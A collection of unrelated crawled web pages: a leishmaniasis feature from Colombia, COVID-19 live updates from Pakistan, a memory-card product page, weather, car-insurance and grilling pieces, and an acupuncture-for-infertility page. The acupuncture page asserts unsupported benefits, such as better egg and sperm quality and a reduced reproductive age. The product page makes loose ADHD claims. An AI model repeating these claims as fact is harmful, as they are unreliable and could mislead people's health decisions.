Londoño’s diagnosis was traced back to a trip he made to Colombia’s Magdalena Medio region, one of many remote, tropical locations where the sandflies that transmit the disease are present.
These types of rural locations are the backdrop to Diseased Landscapes, a project spearheaded by British and Colombian researchers exploring the impact of leishmaniasis on workers who pick coca – the raw ingredient used to make cocaine. The research is focused near the Colombian-Venezuela border, one of the prime coca-growing areas of Colombia.
Compared to other forms of informal employment, coca picking provides reliable income, paying approximately $80,000 COP (£15) per day. Not only is it attractive to people in this part of Colombia, where more than 56 per cent of the population’s income is below the region’s poverty line, but it’s why low-income Venezuelan migrants come to areas like Catatumbo, says Alejandro Cañizares, a research assistant for the Diseased Landscapes team.
Since 2015, Venezuela's economic and political crisis has driven mass migration to Colombia, now home to nearly two million Venezuelan migrants. For two years the border between the two countries was closed but illegal armed groups help people cross clandestinely. Often, Venezuelan migrants who arrive via these irregular routes do not have documents or fixed incomes, leaving them vulnerable to the armed groups who “lure [them] in” to work on coca plantations, explains Elizabeth Dickinson, a senior analyst at the International Crisis Group.
The dense jungle of Catatumbo is one of Colombia’s most conflict-ridden regions, which the government vowed to stabilise when it reached a peace accord with the Revolutionary Armed Forces of Colombia (FARC) in 2016.
However, armed groups like the Frente 33, ELN and Clan del Golfo have used violence to secure control of previously FARC-controlled coca plantations in the region.
“Coca is really just the currency of Colombia’s ongoing conflict,” says Ms Dickinson. In 2020, coca production in Colombia reached record highs of 245,000 hectares per year based on ONDCP records.
The manual work of raspachines or coca pickers is physically demanding. They toil under the sun for 30 to 45 days at a time, and are typically confined to coca farms and exposed to health risks like leishmaniasis, says Wilfredo Cañizares, executive director of Fundación Progresar, a human rights NGO working on the border. Coca pickers were unable to speak to The Telegraph due to security concerns.
Leishmaniasis is endemic in Colombia; in 2020, the World Health Organisation reported 6,124 cases of the cutaneous form of the disease, though scientists consider actual figures to be higher. It’s one of the WHO’s neglected tropical diseases, which according to Dr Iván Vélez, director of the University of Antioquia’s Program for the Study and Control of Tropical Diseases (PECET), is why the country “lacks good methods of diagnosis, treatment and prevention.”
In Catatumbo, there are few hospitals and most are inaccessible. If patients make it to a clinic, many GPs lack the technical expertise to diagnose leishmaniasis, explains Dr Maria Adelaida Gómez, coordinator of the biochemistry and molecular biology unit at Colombia’s International Centre for Training and Medical Research. This is one of the reasons case numbers are sorely underreported.
Only patients who receive a parasitological diagnosis are prescribed treatment. In Colombia, the most common treatment is Glucantime – highly toxic injections administered daily for between 20 and 28 days. Patients report experiencing headaches, nausea, and suffer a loss of appetite and fatigue.
“There were some days…when I was bed-bound with chills, my defences were low, I couldn’t get up,” Londoño says, remembering the treatment period. While he found the disease itself painless, the cure was tough: Glucantime affected his ability to concentrate, and the tiredness left him unable to work.
These side effects can cause patients to abandon treatment, Dr Vélez says. Additionally, injections can only be administered by medical professionals, so patients must travel to hospitals to receive them.
The first choice treatment for leishmaniasis is a 28-day course of Miltefosine tablets. However, tablets are not always available in Colombia and can cause side effects like vomiting and abdominal pain. Miltefosine is also not recommended for pregnant women.
Problems accessing medical care and treatment in Colombia mean that leishmaniasis sufferers often resort to traditional cures or the guidance of local healers. Natural remedies are plant-based or involve burning lesions with a hot machete or hot panela (unrefined sugar). According to Dr Vélez, these can successfully treat cutaneous leishmaniasis but are painful.
The PECET is currently working to develop more treatments for cutaneous leishmaniasis. However, a lack of funding has prevented progress.
Dr Javier Lezaun, Director of the Institute for Science, Innovation and Society from the Diseased Landscapes team, believes that leishmaniasis “compounds the precarity and vulnerability” of irregular migrants who are not eligible for non-emergency state-funded health care. Paying for travel and medical treatment is therefore a last resort, especially if they miss a day’s salary to do so.
“The disease is associated with poverty,” states Dr Álvaro Acosta-Serrano, a reader in the parasitology and vector biology departments at the Liverpool School of Tropical Medicine.
Historically, sufferers of leishmaniasis have been stigmatised in Colombia because of the disease’s association with Colombia’s civil war, a time when case numbers were the highest ever. For low-income Venezuelans, whose migrant condition is already “easily identifiable” to Dr Acosta-Serrano, leishmaniasis scars can worsen discrimination.
For researchers, leishmaniasis is more than just a public health issue – it’s the lens that magnifies Colombia’s working conditions that expose sufferers, including vulnerable migrants, to the disease. Not until the government reduces poverty, improves access to healthcare and stabilises the ongoing conflict in rural areas, can leishmaniasis wounds really heal.
“Leishmaniasis [is] a way of seeing everything that is wrong with the system,” says Juan Montoya, a Diseased Landscapes researcher.
Protect yourself and your family by learning more about Global Health Security | <urn:uuid:84872fbc-1831-4fc5-b413-bc1e5236992e> | CC-MAIN-2022-33 | https://www.telegraph.co.uk/global-health/science-and-disease/like-something-eating-skin-neglected-tropical-disease-hitting/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.932482 | 1,691 | 3.125 | 3 |
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Chinese medical literature has been citing the use of acupuncture for the treatment of infertility since 11AD. together with Chinese herbal medicine, acupuncture perth has been shown effective in treating many, but not all, causes of male and female infertility. treatments also have a calming effect, which helps the infertile couple cope with stress and anxiety in addition to improving overall mental and physical health.
Acupuncture and Chinese herbal medicine can be used to treat a wide variety of causes of female infertility, including spasmed tubes, unexplained infertility, recurrent miscarriage, luteal phase defect, poly-cystic ovary syndrome (PCOS) with annovulatory cycles, hyperprolactinemia and elevated levels of follicle-stimulation hormone (FSH). Hypothyroidism and hyperthyroidism, which can also affect fertility, can be treated with acupuncture. conditions such as blocked tubes and tubal adhesions due to pelvic inflammatory disease cannot be treated with acupuncture. In general, acupuncture helps improve blood flow to reproductive organs, which can contribute to building a thick, healthy endometrium. It can help improve egg quality, regulate the menstrual cycle, and balance hormone levels as well.
Women over 40 years old trying to conceive stand to benefit greatly from acupuncture. Acupuncture and Chinese herbs improve overall health and vitality, therefore improving reproductive health and even reducing reproductive age. In cases of male infertility, acupuncture can help improve sperm count, motility, and morphology. treatment for male-factor infertility is usually at least 3 months long because it takes 100 days for new sperm to mature. Herbal medicines and acupuncture formulated to tonify kidney energy are particularly helpful in improving sperm count and motility.
The process of acupuncture is somewhat analogous to physical therapy. The more often it is practiced, the better. like physical therapy, several months of acupuncture may be needed to see improvements. many fertility patients combine acupuncture and Western medicine. Acupuncture should be started 3 to 4 months before an insemination, in-vitro fertilization, or donor-egg transfer to allow the therapeutic benefits to take effect. most patients are treated for 3-6 months, though many remain in treatment for longer.
Chinese medicine may also continue to be used after conception has occurred. There are 6 acupuncture points that are contraindicated for pregnant woman, so it is important for the practitioner to be aware if pregnancy has been achieved. Hormonal imbalances leading to miscarriage can be treated with Chinese medicine and acupuncture, though many miscarriages are caused by chromosomal abnormalities, and there is no presumption that traditional Chinese medicine alters genetic material. Strengthening the constitution and balancing the hormone levels are helpful for women who have experienced recurrent miscarriages.
Given the high cost of Western fertility treatments, many couples opt to try acupuncture while they are undergoing other procedures in order to increase their chances of success. though many insurance companies do not cover acupuncture, the small additional expense may be a wise investment. early research has that fertility patients have higher success rates and lower rates of miscarriage and stillbirth when undergoing simultaneous acupuncture treatment.
Melissa Davis is chief in editor at http://facetwister.com, young but fearsome lady with painfully good sense of fashion and fashion streams. Melissa previously worked for number of print magazines as leading stylist and fashion adviser. Her idea is to introduce her audience to the latest fashion trends and to offer advice that will help every woman to fell as beautiful and glamorous as she possibly can.Also loves to write about beauty and health topics.
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Nationwide tally of confirmed cases approaches 2,900, global coronavirus deaths surge past 59,000, declared cases surpass 1 million
Updated Saturday Apr 04 2020
KARACHI / LAHORE / ISLAMABAD / PESHAWAR / QUETTA: The number of confirmed COVID-19 cases in Pakistan rose to 2,824 on Saturday after new infections were confirmed in the country.
The province-wise break up of the total number of cases as of 12:23am, April 5, is as follows:
Total confirmed cases: 2,824
• Sindh: 840
• Punjab: 1,133
• Khyber Pakhtunkhwa: 372
• Balochistan: 186
• Islamabad Capital Territory: 75
• Gilgit-Baltistan: 206
• AJK: 12
• Khyber Pakhtunkhwa: 13
• Sindh: 14
• Balochistan: 1
• Gilgit-Baltistan: 3
• Punjab: 12
The worldwide number of officially confirmed fatalities from the novel coronavirus rose above 59,000 on Saturday, according to a tally compiled by AFP from sources.
More than 1 million declared cases have been registered in 200 countries and territories since the epidemic first emerged in China in December. Of these cases, at least 228,000 are now considered recovered.
Read on for the latest updates from Pakistan and around the world.
Disclaimer: There may be some discrepancy in the number of confirmed cases reported at the country level due to differences in figures quoted by federal and provincial authorities.
Geo News is constantly gathering fresh information from concerned authorities and striving to keep our readers up to date with the most accurate information available.
Orange: All general updates coming in from Pakistan
Red: All reports on new cases in Pakistan
Maroon: All reports on new deaths in Pakistan
According to the Punjab chief minister's regular post-midnight update, a total of 10,623 members of the Tableeghi Jamaat have been put into quarantine across 33 districts. So far test results have shown 296 to be positive for COVID-19.
The provincial tally has hit 1,133.
According to Balochistan government spokesperson Liaquat Shahwani, the total number of people to have been infected in the province is 186.
"Eleven new cases emerged today," he said, adding: "A total of 138 test results were received today of which 11 came back positive and 127 negative."
He said the eleven cases were locally transmitted, taking the total number of such cases to 49.
The number of people who have died from coronavirus passed 500 in Turkey today with over 23,000 testing positive.
Balochistan government spokesperson Liaquat Shahwani said that in the first phase of the Ehsaas programme related to helping the poor, the provincial government will ensure 15,000 families in the provinces are provided food rations.
The Pakistan Medical Association (PMA) wrote a letter to Khyber Pakhtunkhwa Chief Minister Mahmood Khan, requesting him for additional PPE for doctors, nurses and health practitioners treating coronavirus patients.
The letter outlined the dangers posed to the life of the medical staff without proper equipment.
The association wrote a similar letter to Chief Minister Balochistan Jam Kamal Khan to highlight the dangers posed to the health workers at the forefront of the coronavirus.
The United Arab Emirates (UAE) extended its de facto curfew for an indefinite period.
The UAE's disinfection drive, which consists of spraying streets, parks and public transport facilities, runs from 8pm (16:00 GMT) to 6am.
The curfew was imposed on March 26 and was extended till April 5.
Khyber Pakhtunkhwa has reported three more deaths and an increase in the total number of cases by 29.
The deceased patients were 50, 62 and 76 years old, respectively.
The overall tally of infected now stands at 372, while the number of deaths have hit 13, as confirmed by the provincial health department.
The New York state has reported its record single-day death toll of 3,565 persons over the past 24 hours which increased from 2,935 the previous day.
As per official figures, the state has reported 113,704 positive cases - 63,306 in New York City, where 2,624 have died.
The death toll from the coronavirus has reached 68 in Athens whereas the total number of confirmed cases has reached 1,673 after 69 more cases emerged today.
The government of Greece has decided to extend its lockdown till April 27.
10:00pm — Karachi, Pakistan — 12 more recover in Sindh
According to Murtaza Wahab, 12 more persons recovered from the coronavirus in Sindh. The total number of recovered persons in Sindh now stands at 86.
Prime Minister Imran Khan said that a total lockdown in the country will not be successful if the government is unable to provide food to people's homes.
Balochistan reported 10 new cases, bumping the province's tally to 185, the provincial health department confirmed.
The infected include 11 doctors and eight security guards, the department said.
Britain has reported a record 708 daily deaths from COVID-19, including a five-year-old child, who is thought to be the country's youngest victim.
The health ministry said 4,313 people who tested positive for the virus in hospital had died as of 1600 GMT Friday while there were 41,903 confirmed cases as of 0800 GMT Saturday, up 3,735.
The toll has been steadily increasing by more than 500 deaths a day this week and the country is bracing for an expected peak in the next week to 10 days.
A total of 637 of the latest deaths were in England, the National Health Service (NHS) said.
"Patients were aged between five years and 104 years old. 40 of the 637 patients (aged between 48 and 93 years old) had no known underlying health condition," it said in a statement.
The NHS said it would not be giving further information about the five-year-old patient at the request of the family.
A 13-year-old boy from London, Ismail Mohamed Abdulwahab, died last week, days after testing positive for COVID-19. His family said he had no underlying illnesses.
In a conversation with Geo News, the famed Pakistani-American guitarist has revealed he has tested positive for the virus, a day after he had tweeted he may have contracted it.
"I am quarantined at home and do not feel well. I request you all to pray for me," he told Geo News.
The artist had gone to New York for some projects and was unable to return to Pakistan owing to a lockdown.
In a complex of holiday bungalows to the east of Madrid, Venezuelan refugees and homeless people have replaced the tourists, business meetings and wedding parties that usually fill the premises, Reuters reported.
The owner of the La Ciguena resort has turned the facility over to some of Madrid’s most vulnerable families, after he had to close the hotel because of the coronavirus outbreak sweeping through Spain.
“Since we’ve arrived, they’ve attended to our every need,” said Stephanie Paez, an eight-month pregnant Venezuelan refugee accompanied by her partner and mother.
She said her aim was to find a job, an apartment and get her residency papers once the coronavirus crisis was over.
The United Kingdom’s death toll from the coronavirus rose by 20% to 4,313 at 1600 GMT on April 3, the health ministry said, Reuters reported.
As of 0800 GMT on April 4, a total of 183,190 people have been tested of which 41,903 tested positive, the health ministry said.
Saudi authorities announced a lockdown and a partial curfew in seven neighborhoods of the Red Sea city of Jeddah, starting on Saturday, as part of measures to contain the new coronavirus outbreak, the interior ministry said in a statement, Reuters reported.
The ministry said residents in those neighborhoods could only go out for grocery shopping and medical care, between 6am (0300 GMT) and 3pm. Entering and exiting the neighborhoods will be restricted, it added.
Germany's confirmed coronavirus cases have risen by 6,082 in the past 24 hours, a slight decrease from the day before, according to data from the government’s Robert Koch Institute (RKI), Reuters reported.
The reported reduction in new daily cases, which were down from 6,174 new cases a day earlier, could be a sign that the rate of infection is beginning to level off, but the government cautioned it was far too early to identify a trend.
Germany now has 85,778 cases, up from 79,696 infections on Friday, with the highest level of infections in Bavaria, according to the RKI statistics. Deaths have increased to 1,158, the RKI said, from 1,017 deaths as of Friday.
Prime Minister Imran Khan said that the government was creating a Facebook page — which would be launched by next week — to track down the needy people.
"People who want to donate can register themselves and we will connect the needy and the person who wants to donate through the page," he said while addressing at an event.
Read complete story here.
Another coronavirus death was reported in Punjab, taking the death toll to 12, provincial authorities confirmed.
Meanwhile, the infected tally in the province stands at 1,087 after several new cases were reported.
The confirmed death toll from the coronavirus in the Netherlands has risen by 164 to 1,651, health authorities said, Reuters reported.
The National Institute for Health (RIVM) said the total number of infections had increased by 6% to 16,627 over the past 24 hours.
The actual number of deaths and infections is higher than the official figure due to a lack of widespread testing for the coronavirus, the RIVM has said.
Iran’s death toll from the coronavirus outbreak climbed to 3,452 on Saturday, with 158 more fatalities recorded over the past 24 hours, Health Ministry Spokesman Kianoush Jahanpur said, Reuters reported.
The total number of cases diagnosed with the disease reached 55,743, of whom 4,103 are in critical condition, he said on state TV. Iran is the country worst affected by the pandemic in the Middle East.
Spain’s death toll from the coronavirus rose to 11,744 from 10,935 the previous day, the Health Ministry said, though it was the second straight second day in which the daily number of new deaths had fallen, Reuters reported.
A total of 809 people died from the disease over the past 24 hours, down from 932 in the previous period, the figures showed.
The total number of registered infections rose to 124,736 on Saturday from 117,710 on Friday, the ministry said.
Kuwait has recorded its first death from coronavirus, state news agency KUNA reported, citing a health ministry spokesperson.
The total number of people diagnosed with the disease increased by 62 in the past 24 hours, bumping the infected tally to 479, he said, according to KUNA.
The government submitted on Saturday to the Supreme Court of Pakistan a report on its national action plan for combating the coronavirus epidemic spreading across the country.
In its report, the government detailed the situation arising in the wake of the epidemic and the severity of suspected cases.
“By April 25, the number of the coronavirus cases are feared to reach 50,000,” the report stated.
Britain is unlikely to lift its stringent lockdown rules until the end of May, a leading government adviser has said, warning that the spread of coronavirus must first slow and intense testing be introduced.
A second senior government adviser, the chief pandemic modeler Graham Medley, said he feared Britain had painted itself into a corner, with no clear exit from a strategy that would damage the economic and mental well-being of many people.
“If we carry on with lockdown it buys us more time, we can get more thought put into it, but it doesn’t resolve anything — it’s a placeholder,” Medley told the Times newspaper.
Special Assistant to Prime Minister on Information Firdous Ashiq Awan on Saturday said that wealthy should step up and help those in need as the country reels from a lockdown to contain the spread of the coronavirus epidemic.
"We will very soon defeat the coronavirus. The war against the virus cannot be waged with guns," Awan said at a media briefing on Saturday afternoon.
"Pakistan is facing corona and hunger together," she added.
Brazilians increasingly disapprove of President Jair Bolsonaro’s handling of the coronavirus outbreak, and overwhelmingly support governors and health officials he has attacked for advocating social-distancing measures, two polls showed, Reuters reported.
The surveys suggest Bolsonaro’s attacks on governors and even his own health minister may have backfired.
Bolsonaro’s coronavirus performance has been “bad” or “awful” according to 39 per cent of respondents surveyed this week, up from 33pc last month, according to pollster Datafolha. Those who consider his response to the health crisis “good” or “great” slipped to 33pc from 35pc previously.
Chief Minister Punjab Usman Buzdar on Saturday said that the government had transferred a total of Rs1.5 billion in emergency cash assistance to some 170,000 needy individuals across the province.
"The money was transferred using mobile phone numbers and National Identity Card numbers. After bio-metric verification, the people can obtain the money from any mobile phone shop," he wrote on Twitter.
An ambulance driver wearing a white protective gown enters a Barcelona hotel and announces the arrival of three new "customers" — a trio of coronavirus patients discharged from hospital into luxury quarantine.
"Good morning! How are you? My name is Enrique Aranda and I am probably the first non health care worker you see in several days," says the director of the five-star Melia Sarria hotel, peering into the ambulance.
It took just three days to convert the hotel, which features contemporary decor and bathrooms with marble finishing, into a clinic.
"Some patients arrive thinking that they were taken out of hospital to be left to die, many people are frightened. I try to make them forget all that," said Aranda, wearing mask and gloves.
An Anti-Terrorism Court in Karachi on Saturday sent several suspects to jail on a judicial remand till April 14 for allegedly assaulting police officers in the port city on Friday afternoon.
The suspects had been filmed attacking the police on Friday as the police officers enforced orders to restrict congregational prayers across the province to contain the spread of the novel coronavirus.
The chief cleric of the Ghousia Mosque in Liaquatabad is also among the suspects who were sent to jail on a judicial remand till April 14. The court has asked authorities to include anti-terror clauses when they file a challan against the accused.
Another nine patients in Sindh have recovered from the novel coronavirus, according to Adviser to Chief Minister Sindh on Law and Environment Murtaza Wahab.
The total number of virus recoveries in Sindh has reached 74, he added. "People should learn that isolation or social distancing is the only cure to #COVIDー19. These 74 isolated themselves, can you?" he wrote on Twitter.
From Europe to South America, US allies are complaining about the superpower’s “Wild West” tactics in outbidding or blocking shipments to buyers who have already signed deals for vital medical supplies, Reuters reported.
In France and Germany, senior officials said the United States was paying far above the market price for medical-grade masks from No. 1 producer China, on occasion winning contracts through higher bids even after European buyers believed a deal was done, and Brazil’s health minister reported a similar incident.
Prime Minister Imran Khan on Saturday said that Pakistan was walking a tight rope to ensure that there were measures in place to tackle the spread of the coronavirus while ensuring that people did not die of hunger.
"In the subcontinent, with a high rate of poverty, we are faced with the stark choice of having to balance between a lockdown necessary to slow down/prevent the spread of COVID19 & ensuring people don't die of hunger & our economy doesn't collapse. So we are walking a tightrope," he said on Twitter.
"We have locked down educational institutions, Malls, marriage halls, restaurants & other places where public congregates. But, to stop the devastation of the lockdown we have kept our agri sector open & now we are opening up our construction sector," he added.
Punjab Minister for Health Yasmin Rashid on Saturday met a group of medical experts from China who are in the city to advise health professionals on how to tackle the coronavirus outbreak in the province.
Chief Minister Usman Buzdar is also expected to meet the Chinese experts later today.
Australia reported more signs that the spread of the novel coronavirus has been stabilising, as New South Wales (NSW) health authorities defended the disembarking in mid-March of a virus-hit cruise ship, Reuters reported.
According to the federal health ministry data, there were 230 new cases of the coronavirus in the 24-hour period to early Saturday in Australia, bringing the total to 5,454 cases.
This suggests the daily increase rate has continued to stay at around 5 per cent in recent days, significantly lower than the 30pc jumps seen two weeks ago.
Karachi on Saturday entered a 13th straight day under a lockdown to contain the spread of the novel coronavirus across the city. Businesses remained shut, traffic suspended, and shopping malls closed.
Under a health advisory issued by the Sindh government, people also remained indoors. General stores, fruit and vegetable shops, and pharmacies, however, remained open to cater to essential needs of citizens.
Prime Minister Imran Khan will visit Lahore today to review the measures taken by the provincial government to tackle the spread of the novel coronavirus in the province, according to sources.
PM Imran will meet with Governor Punjab Chaudhry Muhammad Sarwar, Chief Minister Punjab Usman Buzdar, and other high-ranking provincial officials during the visit, added sources.
Thailand will temporarily ban all passenger flights from landing in the country to curb the outbreak of the new coronavirus, the country’s aviation agency said on Friday.
The ban on incoming flights will come into effect on Saturday morning and run until the end of Monday, the Civil Aviation Authority of Thailand said in an order published late on Friday.
Anyone arriving on a flight that took off before the order came into effect will need to be quarantined for 14 days upon arrival in Thailand, the order said.
Chief Minister Punjab Usman Buzdar on Saturday morning said that the provincial government had disbursed emergency cash assistance to 170,000 deserving individuals affected by the coronavirus crisis.
"In the past twenty-four hours, emergency cash assistance worth Rs1500 million has been distributed among deserving individuals in Punjab," he said.
Sindh Minister for Information Nasir Shah on Friday appealed to members of a religious gathering to "remain wherever they are" after several other members of the gathering tested positive for the virus.
In a video message, Shah said the country's people were "experiencing challenging times" owing to the spread of the COVID-19, which has infected over 800 people in the province and over 2,600 across Pakistan.
"I'm humbly requesting our respected elders, friends, and brothers who have arrived in our Sindh province to remain wherever they are and to completely adhere to the health advisory," the minister stated.
China came to a standstill on Saturday to mourn patients and medical staff killed by the coronavirus, as the world's most populous country observed a nationwide three-minute silence.
At 10 am (0200 GMT), citizens paused, cars, trains and ships sounded their horns, and air-raid sirens rang out in memory of the more than 3,000 lives claimed by the virus in China.
Global cases of the new coronavirus have shot past 1 million with more than 53,000 fatalities, a Reuters tally showed on Friday, as death tolls soared in the United States and western Europe while the world economy nosedived.
In the space of just 24 hours, 6,095 infected people died - nearly twice the total number of deaths in China, where the virus and COVID-19, the disease it causes, originated.
Atop the grim tally of officially reported data are Italy, with 13,915 deaths, and Spain, with 10,935. But the United States is becoming the new epicentre, with 243,635 cases - by far the most of any nation - and 5,887 deaths.
The United States recorded nearly 1,500 deaths from COVID-19 between Thursday and Friday, according to the Johns Hopkins University tracker, the worst 24-hour death toll globally since the pandemic began.
With 1,480 deaths counted between 8:30pm (0030 GMT) Thursday and the same time Friday, according to the university's continuously updated figures, the total number of people who have died since the start of the pandemic in the United States is now 7,406.
Surging deaths in New York City and New Orleans showed that a wave of lethal coronavirus infections expected to overwhelm hospitals, even in relatively affluent, urban areas with extensive healthcare systems, has begun to crash down on the United States.
The Pakistan Telecommunication Authority (PTA) on Friday warned of possible cyber attacks under the guise of messages containing coronavirus information and advised people not to use WiFi at public places.
In a statement, the PTA told people to be wary of text messages claiming to provide information and updates on COVID-19. It added that everyone should "refrain from using open WiFi at public locations".
Internet service providers were also cautioned to remain alert of coronavirus-related cyber attacks.
Sindh faces a shortage of personal protective equipment (PPE) and coronavirus testing kits, Chief Minister Murad Ali Shah told Prime Minister Imran Khan on Friday during a meeting he participated in via video link.
The testing kits provided by the provincial disaster management authority had "accuracy issues", which was why Sindh had opted not to use them, Shah added.
He said that the medical professionals working at the isolation centres and hospitals had to wear PPEs to avoid the risk of infection.
After the rise in the number of cases in Punjab, Pakistan's coronavirus tally shot up from 2,499 to 2,640. There have been a total of 136 recoveries so far and 40 deaths from the virus outbreak in Pakistan.
Punjab now has 1,069 confirmed cases, according to Chief Minister Usman Buzdar. Of these, 563 are under quarantine and 506 are non-quarantined.
One patient is critical and six have recovered, the chief minister added.
Turkish President Recep Tayyip Erdogan has issued a mandatory confinement order for everyone aged under 20 starting from midnight, as part of tougher measures to stem the spread of the coronavirus in Turkey, AFP reported.
In a television address, Erdogan also announced that vehicles would no longer be able to leave or enter 31 towns and cities, including Istanbul and Ankara, for 15 days.
People aged over 65 or those with chronic medical conditions are already subject to mandatory confinement in Turkey.
"Throughout the country, people aged under 20, that is to say born after January 1, 2000, will not be allowed to go out on the street" from midnight on Friday, Erdogan said.
France has reported 588 more coronavirus deaths in hospital, its biggest 24-hour toll in the country since the epidemic began, according to AFP.
The new deaths brought to 5,091 the total number of people who have died in hospital of COVID-19 in France, top health official Jerome Salomon told reporters.
There is no daily toll for those who have died of COVID-19 in old people´s homes in France. But Salomon said that a total of 1,416 people had died in such establishments from COVID-19 during the epidemic. This brings the total French toll to at least 6,507.
France has been in lockdown since March 17 in a bid to slow the spread of the epidemic, with only essential trips allowed outside that have to be justified with a signed piece of paper.
For our April 3 coverage of coronavirus click here.
For our April 2 coverage of coronavirus click here. | <urn:uuid:f27a6269-af06-4393-a21a-1d5fa0883764> | CC-MAIN-2022-33 | https://www.geo.tv/latest/280871-coronavirus-updates-april-4-latest-news-on-the-covid-19-pandemic-from-pakistan-and-around-the-world | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.96215 | 5,240 | 1.5 | 2 |
|Dimensions||3.5 × 2 × 1.25 in|
This advanced auditory activity works on working memory. Information has to first be brought in and manipulated in an individual’s short-term (working) memory. After that, the information can be stored in long-term memory.
Instructions include basic techniques for this auditory “game”. The set of cards includes 129 cards with two-word phrases (couplets) on each card. The cards can be shuffled for thousands of sequence combinations. Couplets are even more challenging than ACWS words or Auditory Digit Span Cards. It is recommended that you play the auditory games twice a day for two minutes, leaving at least 10 minutes between each game. Over time this will significantly increase an individual’s auditory short-term memory skills. See benefits to increasing auditory processing below.
Importance of Auditory Processing
Increasing auditory processing (short-term memory) enhances ones’ ability to:
Unfortunately, with today’s emphasis on developing visual abilities, we are finding more and more people having difficulty retaining information due to their lack of auditory processing practice! Low auditory processing also has a direct correlation to the negative symptoms on the ADD/ADHD checklist.
What you can’t hold in short term memory cannot be stored in long-term memory, so the Couplet Sequences are a wonderful exercise for the whole family! With improved memory learning becomes easier! | <urn:uuid:2f064506-1dec-4b24-81ec-d4da872bc8b3> | CC-MAIN-2022-33 | https://neuroconnexions.com/product/auditory-couplet-sequences/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.927774 | 317 | 3.609375 | 4 |
The impossible has happened: Britain is basking in sunshine on a bank holiday weekend - and it's only set to get hotter.
Forecasters had predicted wall-to-wall sunshine from Saturday to Monday, but temperatures are now expected to be even hotter than first thought - reaching a scorching 27 degrees on bank holiday Monday.
The city enjoyed glorious sunshine on Saturday, reaching around 21c at its peak. Sunday is set to be warmer again, climbing to 26c, before reaching peak warmth on Monday.
The temperatures forecast will make Bristol warmer than most of Europe as well as parts of Africa, including Barcelona, Ibiza and Morocco.
Forecasters are expecting this to be the warmest May bank holiday on record in some parts of the UK, quashing British traditions.
The hottest temperature recorded on May Day in the past 20 years was in 1999, when it reached 23.6c.
Betting shop Coral have now slashed the odds of us seeing the warmest May on record, after April managed to take the title.
Harry Aitkenhead, PR for Coral, said: "It’s already been a memorable year with the hottest April day in 69 years recorded.
"This latest wave of sunshine is giving us more reason to believe May can enter the record books too.
"The sun is shining and punters are rushing to back 2018 to be the hottest year we’ve ever had. It might be more betting with the heart than the head, but given the records tumbling we simply can’t argue with them." | <urn:uuid:117845ce-9864-4189-9840-844e5c174108> | CC-MAIN-2022-33 | https://www.bristolpost.co.uk/news/bristol-news/bristol-hotter-ibiza-bank-holiday-1537786 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.948456 | 320 | 1.820313 | 2 |
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Extreme weather events have become increasingly frequent across the U.S. The back-to-back hurricanes, increased flooding, and irrepressible wildfires are causing immense economic damage to entire communities. Here is how these weather events might affect your auto insurance premium. Frequent Weather-related Claims Because cars are often exposed to weather elements, they are predisposed to the dangers wrought by extreme weather events.
As you fill out your insurance quote form, your insurance company collects information that they use to estimate your risk profile and determine your car insurance rates. Typically, a high-risk profile means higher insurance costs and vice versa. Therefore, if your car insurance premium quote is unusually high, it could be that the data collected by your insurer indicates that
In the US, road traffic crashes result in about 4.4 million emergency department visits and over 38,000 fatalities every year, according to the Association for Safe International Road Travel (ASIRT). If another motorist crashes into your car, you should file a car insurance claim with the at-fault driver’s insurer. However, while the other person’s insurance company will process your claim,
Driving tips to help keep you out of accidents. Believe it or not, but even the safest of drivers may have serious downfalls that put them in danger. Getting behind the wheel of a moving car is not only a huge responsibility but one that should be done with care and safety. However, all too often, American drivers get distracted or
Your auto insurance rate is based on more than the make and model of your vehicle. When trailing through online auto insurance quotes, you’ll notice that with every question you answer, the monthly cost fluctuates. Everything from your chosen coverage to your personal details affects the price that you will pay every month. As insurance is all based on risk, a teenager | <urn:uuid:3f453655-a653-45bd-b235-62ac6230552d> | CC-MAIN-2022-33 | https://www.mccartyinsurance.com/tag/car-insurance/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.951271 | 392 | 1.992188 | 2 |
A barbecue can be a good opportunity to try all sorts of different recipes and new foods. A seasoned griller will find ways to cook just about anything on the grill. For most people, this means going beyond things like burgers and steaks and finding ways to innovate and make new and exciting barbecue recipes. For the adventurous few, this can mean taking some odd meats and throwing them on the grill to try something that is really out of the ordinary.
Most American’s know these little creatures as furry little friends that live in cages, but in some parts of the world, guinea pigs are considered a popular source of protein. While grilling a guinea pig might seem a little disturbing to the average American, it is nothing out of the ordinary for people that come from the Andean region of South America. Reportedly, guinea pig comes off the grill tender and delicious, though a little oily.
If you want to try guinea pig, it is completely legal and there are some South American restaurants that do offer it as an occasional menu item. However, I would not recommend trying to grill a guinea pig from the pet store. The ones that are served at restaurants are raised as livestock.
When most people think of alligators, they think of a swamp beast that could rip your limbs off. For some other people, they look at an alligator and see a potential meal. People in states like Louisiana and Georgia have been eating gator for a long time, and if you take their word for it, an alligator tastes pretty good coming off the grill. From most reports, the meat tastes like chicken with a slight hint of seafood and it is surprisingly tender.
This one is kind of weird and it sort of borders on cannibalism (that is human tissue after all), but many people consider it beneficial to eat the placenta after they give birth. For most people, they dehydrate the placenta and turn it into pills, but for many, the idea of cooking it as a meal is appealing.
People have prepared placenta in a variety of ways and grilling is just one of them. Most people describe it as having a taste and texture that is something like liver.
Due to its stronger taste, pork liver is less popular than other types of liver in the US. However, you can find it for sale. While Americans do tend to shy away from pork liver, it is a popular food in other parts of the world and grilling is one of the most common ways to prepare it. However, as mentioned above, it is known to have a strong flavor and it is generally less tender than the liver of a cow, chicken or lamb.
